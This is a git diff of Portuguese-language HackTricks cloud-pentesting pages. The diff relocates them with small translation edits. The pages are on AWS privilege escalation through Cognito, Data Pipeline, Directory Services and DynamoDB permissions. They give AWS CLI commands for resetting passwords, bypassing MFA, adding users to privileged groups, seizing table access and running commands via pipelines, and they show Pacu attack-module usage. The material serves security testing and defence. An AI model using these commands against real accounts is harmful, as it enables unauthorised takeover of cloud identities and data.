-**Impacto Potencial:** Privesc direto para potencialmente qualquer usuário, então acesso a todos os grupos dos quais cada usuário é membro e acesso ao papel IAM autenticado do Identity Pool.
-
-### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
-
-**AdminSetUserSettings**: Um atacante poderia potencialmente abusar dessa permissão para definir um telefone móvel sob seu controle como **SMS MFA de um usuário**.
-```bash
-aws cognito-idp admin-set-user-settings \
---user-pool-id <value> \
---username <value> \
---mfa-options <value>
-```
-**SetUserMFAPreference:** Semelhante ao anterior, esta permissão pode ser usada para definir as preferências de MFA de um usuário para contornar a proteção de MFA.
-```bash
-aws cognito-idp admin-set-user-mfa-preference \
-[--sms-mfa-settings <value>] \
-[--software-token-mfa-settings <value>] \
---username <value> \
---user-pool-id <value>
-```
-**SetUserPoolMfaConfig**: Semelhante ao anterior, esta permissão pode ser usada para definir as preferências de MFA de um pool de usuários para contornar a proteção de MFA.
-```bash
-aws cognito-idp set-user-pool-mfa-config \
---user-pool-id <value> \
-[--sms-mfa-configuration <value>] \
-[--software-token-mfa-configuration <value>] \
-[--mfa-configuration <value>]
-```
-**UpdateUserPool:** Também é possível atualizar o pool de usuários para alterar a política de MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
-
-**Potential Impact:** Privesc indireto para potencialmente qualquer usuário cujas credenciais o atacante conhece, isso poderia permitir contornar a proteção de MFA.
-
-### `cognito-idp:AdminUpdateUserAttributes`
-
-Um atacante com essa permissão poderia alterar o e-mail ou número de telefone ou qualquer outro atributo de um usuário sob seu controle para tentar obter mais privilégios em uma aplicação subjacente.\
-Isso permite alterar um e-mail ou número de telefone e defini-lo como verificado.
-```bash
-aws cognito-idp admin-update-user-attributes \
---user-pool-id <value> \
---username <value> \
---user-attributes <value>
-```
-**Impacto Potencial:** Potencial privesc indireto na aplicação subjacente usando o Cognito User Pool que concede privilégios com base em atributos do usuário.
-
-### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
-
-Um atacante com essa permissão poderia **criar um novo User Pool Client menos restrito** do que os clientes de pool já existentes. Por exemplo, o novo cliente poderia permitir qualquer tipo de método para autenticar, não ter nenhum segredo, ter a revogação de token desativada, permitir que os tokens sejam válidos por um período mais longo...
-
-O mesmo pode ser feito se, em vez de criar um novo cliente, um **existente for modificado**.
-
-Na [**linha de comando**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ou o [**atualizar um**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) você pode ver todas as opções, confira!
-```bash
-aws cognito-idp create-user-pool-client \
---user-pool-id <value> \
---client-name <value> \
-[...]
-```
-**Impacto Potencial:** Potencial privesc indireto para o usuário autorizado do Identity Pool usado pelo User Pool ao criar um novo cliente que relaxa as medidas de segurança e possibilita que um atacante faça login com um usuário que ele conseguiu criar.
-
-### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
-
-Um atacante poderia abusar dessa permissão para criar usuários fazendo upload de um csv com novos usuários.
-```bash
-# Create a new import job
-aws cognito-idp create-user-import-job \
---job-name <value> \
---user-pool-id <value> \
---cloud-watch-logs-role-arn <value>
-
-# Use a new import job
-aws cognito-idp start-user-import-job \
---user-pool-id <value> \
---job-id <value>
-
-# Both options before will give you a URL where you can send the CVS file with the users to create
-curl -v -T "PATH_TO_CSV_FILE" \
--H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
-```
-(No caso em que você cria um novo trabalho de importação, pode ser necessário a permissão iam passrole, ainda não testei isso).
-
-**Impacto Potencial:** Privesc direto para o papel IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo, podendo criar qualquer usuário.
-
-### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
-
-Um atacante poderia criar um novo provedor de identidade para então poder **fazer login através deste provedor**.
-```bash
-aws cognito-idp create-identity-provider \
---user-pool-id <value> \
---provider-name <value> \
---provider-type <value> \
---provider-details <value> \
-[--attribute-mapping <value>] \
-[--idp-identifiers <value>]
-```
-**Impacto Potencial:** Privesc direto para o papel IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo, podendo criar qualquer usuário.
-
-### Análise cognito-sync:\*
-
-Esta é uma permissão muito comum por padrão em papéis de Pools de Identidade Cognito. Mesmo que um curinga em permissões sempre pareça ruim (especialmente vindo da AWS), as **permissões dadas não são super úteis do ponto de vista de um atacante**.
-
-Esta permissão permite ler informações de uso de Pools de Identidade e IDs de Identidade dentro de Pools de Identidade (que não são informações sensíveis).\
-IDs de Identidade podem ter [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) atribuídos a eles, que são informações das sessões (a AWS define isso como um **jogo salvo**). Pode ser possível que isso contenha algum tipo de informação sensível (mas a probabilidade é bem baixa). Você pode encontrar na [**página de enumeração**](../aws-services/aws-cognito-enum/) como acessar essas informações.
-
-Um atacante também poderia usar essas permissões para **se inscrever em um stream Cognito que publica alterações** nesses datasets ou uma **lambda que é acionada em eventos cognito**. Eu não vi isso sendo usado, e não esperaria informações sensíveis aqui, mas não é impossível.
-
-### Ferramentas Automáticas
-
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), o framework de exploração da AWS, agora inclui os módulos "cognito\_\_enum" e "cognito\_\_attack" que automatizam a enumeração de todos os ativos Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e escalonamento de privilégios com base em atributos personalizados modificáveis, credenciais de pool de identidade utilizáveis, papéis assumíveis em tokens de id, etc.
-
-Para uma descrição das funções dos módulos, veja a parte 2 do [post do blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação, veja a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu).
-
-#### Uso
-
-Exemplo de uso do cognito\_\_attack para tentar a criação de usuários e todos os vetores de privesc contra um determinado pool de identidade e cliente de pool de usuários:
-```bash
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
-59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
-```
-Exemplo de uso do cognito\_\_enum para coletar todos os grupos de usuários, clientes de grupos de usuários, grupos de identidade, usuários, etc. visíveis na conta AWS atual:
-```bash
-Pacu (new:test) > run cognito__enum
-```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em python que implementa diferentes ataques ao Cognito, incluindo uma escalada de privilégios.
-
-#### Instalação
-```bash
-$ pip install cognito-scanner
-```
-#### Uso
-```bash
-$ cognito-scanner --help
-```
-Para mais informações, consulte [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
new file mode 100644
index 000000000..8fbb7e9e3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
@@ -0,0 +1,274 @@
+# AWS - Cognito Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+Para mais informações sobre Cognito, veja:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Coletando credenciais do Identity Pool
+
+Como o Cognito pode conceder **IAM role credentials** tanto a **authenticated** an **unauthenticated** **users**, se você localizar o **Identity Pool ID** de uma aplicação (deve estar hardcoded nela) você pode obter novas credenciais e, portanto, privesc (dentro de uma conta AWS onde provavelmente você nem tinha credenciais anteriormente).
+
+Para mais informações [**consulte esta página**](../../aws-unauthenticated-enum-access/index.html#cognito).
+
+**Impacto Potencial:** Privesc direto para o service role anexado aos unauth users (e provavelmente para o anexado aos auth users).
+
+### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
+
+Com essa permissão você pode **conceder qualquer cognito role** aos authenticated/unauthenticated users do aplicativo Cognito.
+```bash
+aws cognito-identity set-identity-pool-roles \
+--identity-pool-id <identity_pool_id> \
+--roles unauthenticated=<role ARN>
+
+# Get credentials
+## Get one ID
+aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
+## Get creds for that id
+aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
+```
+Se o app cognito **não tiver usuários não autenticados ativados**, você também pode precisar da permissão `cognito-identity:UpdateIdentityPool` para habilitá-la.
+
+**Impacto Potencial:** privesc direto para qualquer cognito role.
+
+### `cognito-identity:update-identity-pool`
+
+Um atacante com essa permissão poderia configurar, por exemplo, um Cognito User Pool sob seu controle ou qualquer outro provedor de identidade onde ele possa fazer login como uma **forma de acessar este Cognito Identity Pool**. Então, apenas **fazer login** nesse provedor de usuário permitirá que ele **accesse a role autenticada configurada no Identity Pool**.
+```bash
+# This example is using a Cognito User Pool as identity provider
+## but you could use any other identity provider
+aws cognito-identity update-identity-pool \
+--identity-pool-id <value> \
+--identity-pool-name <value> \
+[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
+--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
+
+# Now you need to login to the User Pool you have configured
+## after having the id token of the login continue with the following commands:
+
+# In this step you should have already an ID Token
+aws cognito-identity get-id \
+--identity-pool-id <id_pool_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+
+# Get the identity_id from thr previous commnad response
+aws cognito-identity get-credentials-for-identity \
+--identity-id <identity_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+```
+Também é possível **abusar desta permissão para permitir basic auth**:
+```bash
+aws cognito-identity update-identity-pool \
+--identity-pool-id <value> \
+--identity-pool-name <value> \
+--allow-unauthenticated-identities
+--allow-classic-flow
+```
+**Potential Impact**: Comprometer o IAM role autenticado configurado dentro do identity pool.
+
+### `cognito-idp:AdminAddUserToGroup`
+
+Essa permissão permite **adicionar um Cognito user a um Cognito group**, portanto um atacante poderia abusar dessa permissão para adicionar um usuário sob seu controle a outros grupos com privilégios **melhores** ou **IAM roles diferentes**:
+```bash
+aws cognito-idp admin-add-user-to-group \
+--user-pool-id <value> \
+--username <value> \
+--group-name <value>
+```
+**Impacto Potencial:** Privesc para outros Cognito groups e IAM roles anexados a User Pool Groups.
+
+### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
+
+Um atacante com essas permissões poderia **criar/atualizar grupos** com **cada IAM role que pode ser usada por um Cognito Identity Provider comprometido** e colocar um usuário comprometido no grupo, acessando todas essas roles:
+```bash
+aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
+```
+**Impacto potencial:** Privesc para outras Cognito IAM roles.
+
+### `cognito-idp:AdminConfirmSignUp`
+
+Essa permissão permite **verificar um cadastro**. Por padrão, qualquer pessoa pode fazer login em aplicações Cognito; se isso estiver habilitado, um usuário poderia criar uma conta com quaisquer dados e verificá-la usando essa permissão.
+```bash
+aws cognito-idp admin-confirm-sign-up \
+--user-pool-id <value> \
+--username <value>
+```
+**Impacto Potencial:** Indirect privesc ao identity pool IAM role para usuários autenticados se você conseguir registrar um novo usuário. Indirect privesc para outras funcionalidades da aplicação que permitem confirmar qualquer conta.
+
+### `cognito-idp:AdminCreateUser`
+
+Essa permissão permitiria que um atacante criasse um novo usuário dentro do user pool. O novo usuário é criado como ativado, mas precisará alterar sua senha.
+```bash
+aws cognito-idp admin-create-user \
+--user-pool-id <value> \
+--username <value> \
+[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
+[--validation-data <value>]
+[--temporary-password <value>]
+```
+**Impacto Potencial:** Privesc direto para a identity pool IAM role para usuários autenticados. Privesc indireto para outras funcionalidades do app que permitem criar qualquer usuário
+
+### `cognito-idp:AdminEnableUser`
+
+Essa permissão pode ajudar em um cenário muito específico em que um atacante encontrou as credenciais de um usuário desativado e precisa **ativá-lo novamente**.
+```bash
+aws cognito-idp admin-enable-user \
+--user-pool-id <value> \
+--username <value>
+```
+**Impacto Potencial:** Privesc indireta para a identity pool IAM role para usuários autenticados e para as permissões do usuário se o atacante tivesse credenciais de um usuário desabilitado.
+
+### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
+
+Essa permissão permite efetuar login com o [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Para mais informações, siga o link.
+
+### `cognito-idp:AdminSetUserPassword`
+
+Essa permissão permitiria que um atacante **alterasse a senha de qualquer usuário**, permitindo-lhe se passar por qualquer usuário (que não tenha MFA habilitado).
+```bash
+aws cognito-idp admin-set-user-password \
+--user-pool-id <value> \
+--username <value> \
+--password <value> \
+--permanent
+```
+**Impacto Potencial:** Privesc direto para potencialmente qualquer usuário, proporcionando acesso a todos os grupos dos quais cada usuário é membro e acesso ao Identity Pool authenticated IAM role.
+
+### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
+
+**AdminSetUserSettings**: Um atacante poderia potencialmente abusar dessa permissão para definir um telefone móvel sob seu controle como **SMS MFA de um usuário**.
+```bash
+aws cognito-idp admin-set-user-settings \
+--user-pool-id <value> \
+--username <value> \
+--mfa-options <value>
+```
+**SetUserMFAPreference:** Semelhante ao anterior, essa permissão pode ser usada para definir as preferências de MFA de um usuário, permitindo o bypass da proteção MFA.
+```bash
+aws cognito-idp admin-set-user-mfa-preference \
+[--sms-mfa-settings <value>] \
+[--software-token-mfa-settings <value>] \
+--username <value> \
+--user-pool-id <value>
+```
+**SetUserPoolMfaConfig**: Semelhante à anterior, esta permissão pode ser usada para definir as preferências de MFA de um user pool para bypass a proteção de MFA.
+```bash
+aws cognito-idp set-user-pool-mfa-config \
+--user-pool-id <value> \
+[--sms-mfa-configuration <value>] \
+[--software-token-mfa-configuration <value>] \
+[--mfa-configuration <value>]
+```
+**UpdateUserPool:** Também é possível atualizar o user pool para alterar a política de MFA. [Veja o CLI aqui](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+
+**Impacto Potencial:** Privesc indireto para potencialmente qualquer usuário cujas credenciais o atacante conheça; isso poderia permitir contornar a proteção MFA.
+
+### `cognito-idp:AdminUpdateUserAttributes`
+
+Um atacante com essa permissão poderia alterar o e-mail, o número de telefone ou qualquer outro atributo de um usuário sob seu controle para tentar obter mais privilégios em uma aplicação subjacente.\  
+Isso permite alterar um e-mail ou número de telefone e marcá-lo como verificado.
+```bash
+aws cognito-idp admin-update-user-attributes \
+--user-pool-id <value> \
+--username <value> \
+--user-attributes <value>
+```
+**Impacto Potencial:** Potencial privesc indireto na aplicação subjacente que usa Cognito User Pool e que concede privilégios com base em atributos do usuário.
+
+### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
+
+Um atacante com essa permissão poderia **criar um novo User Pool Client menos restrito** do que os clientes de pool já existentes. Por exemplo, o novo client poderia permitir qualquer tipo de método de autenticação, não possuir client secret, ter a revogação de tokens desabilitada, permitir que os tokens sejam válidos por um período mais longo...
+
+O mesmo pode ser feito se, em vez de criar um novo client, um **existente for modificado**.
+
+No [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ou no [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) você pode ver todas as opções, confira!
+```bash
+aws cognito-idp create-user-pool-client \
+--user-pool-id <value> \
+--client-name <value> \
+[...]
+```
+**Impacto Potencial:** Potencial privesc indireto ao usuário autorizado do Identity Pool usado pelo User Pool ao criar um novo client que relaxa as medidas de segurança e permite que um attacker faça login com um usuário que ele conseguiu criar.
+
+### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
+
+An attacker poderia abusar desta permissão para criar usuários fazendo upload de um csv com novos usuários.
+```bash
+# Create a new import job
+aws cognito-idp create-user-import-job \
+--job-name <value> \
+--user-pool-id <value> \
+--cloud-watch-logs-role-arn <value>
+
+# Use a new import job
+aws cognito-idp start-user-import-job \
+--user-pool-id <value> \
+--job-id <value>
+
+# Both options before will give you a URL where you can send the CVS file with the users to create
+curl -v -T "PATH_TO_CSV_FILE" \
+-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
+```
+(No caso de criar um novo import job você pode também precisar da iam passrole permission — ainda não testei isso).
+
+**Impacto Potencial:** Privesc direto para a identity pool IAM role para usuários autenticados. Privesc indireto para outras funcionalidades do app que podem criar qualquer usuário.
+
+### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
+
+Um atacante poderia criar um novo identity provider para então conseguir **fazer login através deste provider**.
+```bash
+aws cognito-idp create-identity-provider \
+--user-pool-id <value> \
+--provider-name <value> \
+--provider-type <value> \
+--provider-details <value> \
+[--attribute-mapping <value>] \
+[--idp-identifiers <value>]
+```
+**Impacto Potencial:** privesc direto ao identity pool IAM role para usuários autenticados. Privesc indireto em outras funcionalidades do app, permitindo criar qualquer usuário.
+
+### cognito-sync:\* Análise
+
+Esta é uma permissão muito comum por padrão em roles de Cognito Identity Pools. Mesmo que um wildcard em permissões sempre pareça ruim (especialmente vindo da AWS), as **permissões dadas não são muito úteis do ponto de vista de um atacante**.
+
+Essa permissão permite ler informações de uso de Identity Pools e dos Identity IDs dentro dos Identity Pools (o que não é informação sensível).\
+Identity IDs podem ter [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) atribuídos a eles, que são informações das sessões (a AWS define isso como um **jogo salvo**). Pode ser possível que isso contenha algum tipo de informação sensível (mas a probabilidade é bem baixa). Você pode encontrar na [**página de enumeração**](../../aws-services/aws-cognito-enum/index.html) como acessar essa informação.
+
+Um atacante também poderia usar essas permissões para **inscrever-se em um Cognito stream que publica mudanças** nesses datases ou em um **lambda que é acionado por eventos do cognito**. Não vi isso sendo usado, e não esperaria informações sensíveis aqui, mas não é impossível.
+
+### Ferramentas Automáticas
+
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, agora inclui os módulos "cognito__enum" e "cognito__attack" que automatizam a enumeração de todos os assets do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e privilege escalation com base em atributos customizáveis modificáveis, usable identity pool credentials, assumable roles em id tokens, etc.
+
+Para uma descrição das funções dos módulos veja a parte 2 do [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação veja a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu).
+
+#### Uso
+
+Exemplo de uso do cognito__attack para tentar criação de usuário e todos os vetores de privesc contra um dado identity pool e user pool client:
+```bash
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
+59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
+```
+Exemplo de uso do cognito__enum para coletar todos os user pools, user pool clients, identity pools, users, etc. visíveis na conta AWS atual:
+```bash
+Pacu (new:test) > run cognito__enum
+```
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em Python que implementa diferentes ataques no Cognito, incluindo uma privesc escalation.
+
+#### Instalação
+```bash
+$ pip install cognito-scanner
+```
+#### Uso
+```bash
+$ cognito-scanner --help
+```
+Para mais informações, consulte [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
similarity index 59%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
index c63b5b686..4fc9578cd 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
@@ -1,22 +1,22 @@
-# AWS - Datapipeline Privesc
+# AWS - Datapipeline Escalada de Privilégios
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## datapipeline
 
 Para mais informações sobre datapipeline, consulte:
 
 {{#ref}}
-../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
 {{#endref}}
 
 ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
 
-Usuários com essas **permissões podem escalar privilégios criando um Data Pipeline** para executar comandos arbitrários usando as **permissões do papel atribuído:**
+Usuários com essas **permissões podem escalar privilégios criando um Data Pipeline** para executar comandos arbitrários usando as **permissões da função atribuída:**
 ```bash
 aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
 ```
-Após a criação do pipeline, o atacante atualiza sua definição para ditar ações específicas ou criações de recursos:
+Após a criação do pipeline, o atacante atualiza sua definição para ditar ações específicas ou criação de recursos:
 ```json
 {
 "objects": [
@@ -50,19 +50,19 @@ Após a criação do pipeline, o atacante atualiza sua definição para ditar a
 }
 ```
 > [!NOTE]
-> Note que a **função** nas **linhas 14, 15 e 27** precisa ser uma função **assumível por datapipeline.amazonaws.com** e a função na **linha 28** precisa ser uma **função assumível por ec2.amazonaws.com com um perfil de instância EC2**.
+> Observe que a **role** em **linha 14, 15 e 27** precisa ser uma role **assumable by datapipeline.amazonaws.com** e a role em **linha 28** precisa ser uma **role assumable by ec2.amazonaws.com with a EC2 profile instance**.
 >
-> Além disso, a instância EC2 só terá acesso à função assumível pela instância EC2 (então você só pode roubar essa).
+> Além disso, a instância EC2 terá acesso apenas à role assumable by the EC2 instance (então você só pode roubar essa).
 ```bash
 aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
 --pipeline-definition file:///pipeline/definition.json
 ```
-O **arquivo de definição do pipeline, elaborado pelo atacante, inclui diretivas para executar comandos** ou criar recursos via a API da AWS, aproveitando as permissões de função do Data Pipeline para potencialmente ganhar privilégios adicionais.
+**O arquivo de definição do pipeline, criado pelo attacker, inclui diretivas para executar comandos** ou criar recursos via a AWS API, aproveitando as permissões do role do Data Pipeline para potencialmente obter privilégios adicionais.
 
-**Impacto Potencial:** Privesc direto para a função de serviço ec2 especificada.
+**Impacto Potencial:** Privesc direto para o ec2 service role especificado.
 
 ## Referências
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
deleted file mode 100644
index 8922a4518..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - Directory Services Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Directory Services
-
-Para mais informações sobre serviços de diretório, consulte:
-
-{{#ref}}
-../aws-services/aws-directory-services-workdocs-enum.md
-{{#endref}}
-
-### `ds:ResetUserPassword`
-
-Esta permissão permite **mudar** a **senha** de qualquer **usuário existente** no Active Directory.\
-Por padrão, o único usuário existente é **Admin**.
-```
-aws ds reset-user-password --directory-id <id> --user-name Admin --new-password Newpassword123.
-```
-### AWS Management Console
-
-É possível habilitar uma **URL de acesso ao aplicativo** que usuários do AD podem acessar para fazer login:
-
-<figure><img src="../../../images/image (244).png" alt=""><figcaption></figcaption></figure>
-
-E então **conceder a eles uma função AWS IAM** para quando fizerem login, dessa forma um usuário/grupo do AD terá acesso ao console de gerenciamento da AWS:
-
-<figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
-
-Aparentemente, não há como habilitar a URL de acesso ao aplicativo, o Console de Gerenciamento da AWS e conceder permissão
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md
new file mode 100644
index 000000000..41f647001
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md
@@ -0,0 +1,32 @@
+# AWS - Directory Services Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Directory Services
+
+Para mais informações sobre directory services, consulte:
+
+{{#ref}}
+../../aws-services/aws-directory-services-workdocs-enum.md
+{{#endref}}
+
+### `ds:ResetUserPassword`
+
+Esta permissão permite **alterar** a **senha** de qualquer usuário **existente** no Active Directory.\
+Por padrão, o único usuário existente é **Admin**.
+```
+aws ds reset-user-password --directory-id <id> --user-name Admin --new-password Newpassword123.
+```
+### AWS Management Console
+
+É possível habilitar uma **URL de acesso à aplicação** que usuários do AD podem acessar para fazer login:
+
+<figure><img src="../../../images/image (244).png" alt=""><figcaption></figcaption></figure>
+
+E então **conceder-lhes uma AWS IAM role** para quando fizerem login; dessa forma um usuário/grupo do AD terá acesso ao AWS Management Console:
+
+<figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
+
+Aparentemente não há nenhuma maneira de habilitar a URL de acesso à aplicação, o AWS Management Console e conceder permissões
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
deleted file mode 100644
index 71d43c586..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ /dev/null
@@ -1,72 +0,0 @@
-# AWS - DynamoDB Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## dynamodb
-
-Para mais informações sobre dynamodb, consulte:
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-### `dynamodb:PutResourcePolicy`, e opcionalmente `dynamodb:GetResourcePolicy`
-
-Desde março de 2024, a AWS oferece *políticas baseadas em recursos* para DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
-
-Assim, se você tiver o `dynamodb:PutResourcePolicy` para uma tabela, pode simplesmente conceder a si mesmo ou a qualquer outro principal acesso total à tabela.
-
-Conceder o `dynamodb:PutResourcePolicy` a um principal aleatório muitas vezes acontece por acidente, se os administradores acharem que conceder `dynamodb:Put*` permitiria apenas que o principal inserisse itens no banco de dados - ou se concederam esse conjunto de permissões antes de março de 2024...
-
-Idealmente, você também deve ter `dynamodb:GetResourcePolicy`, para que não sobrescreva outras permissões potencialmente vitais, mas apenas injete as permissões adicionais de que precisa:
-```bash
-# get the current resource based policy (if it exists) and save it to a file
-aws dynamodb get-resource-policy \
---resource-arn <table_arn> \
---query 'Policy' \
---output text > policy.json
-```
-Se você não conseguir recuperar a política atual, use esta que concede acesso total à tabela ao seu principal:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "FullAccessToDynamoDBTable",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
-},
-"Action": [
-"dynamodb:*"
-],
-"Resource": [
-"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
-]
-}
-]
-}
-```
-Se você precisar personalizá-lo, aqui está uma lista de todas as ações possíveis do DynamoDB: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). E aqui está uma lista de todas as ações que podem ser permitidas por meio de uma política baseada em recursos *E quais dessas podem ser usadas entre contas (pense em exfiltração de dados!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
-
-Agora, com o documento de política `policy.json` pronto, coloque a política de recursos:
-```bash
-# put the new policy using the prepared policy file
-# dynamodb does weirdly not allow a direct file upload
-aws dynamodb put-resource-policy \
---resource-arn <table_arn> \
---policy "$(cat policy.json)"
-```
-Agora, você deve ter as permissões necessárias.
-
-### Pós Exploração
-
-Até onde sei, **não há outra maneira direta de escalar privilégios na AWS apenas tendo algumas permissões do AWS `dynamodb`**. Você pode **ler informações sensíveis** das tabelas (que podem conter credenciais da AWS) e **escrever informações nas tabelas** (o que pode acionar outras vulnerabilidades, como injeções de código lambda...) mas todas essas opções já estão consideradas na **página de Pós Exploração do DynamoDB**:
-
-{{#ref}}
-../aws-post-exploitation/aws-dynamodb-post-exploitation.md
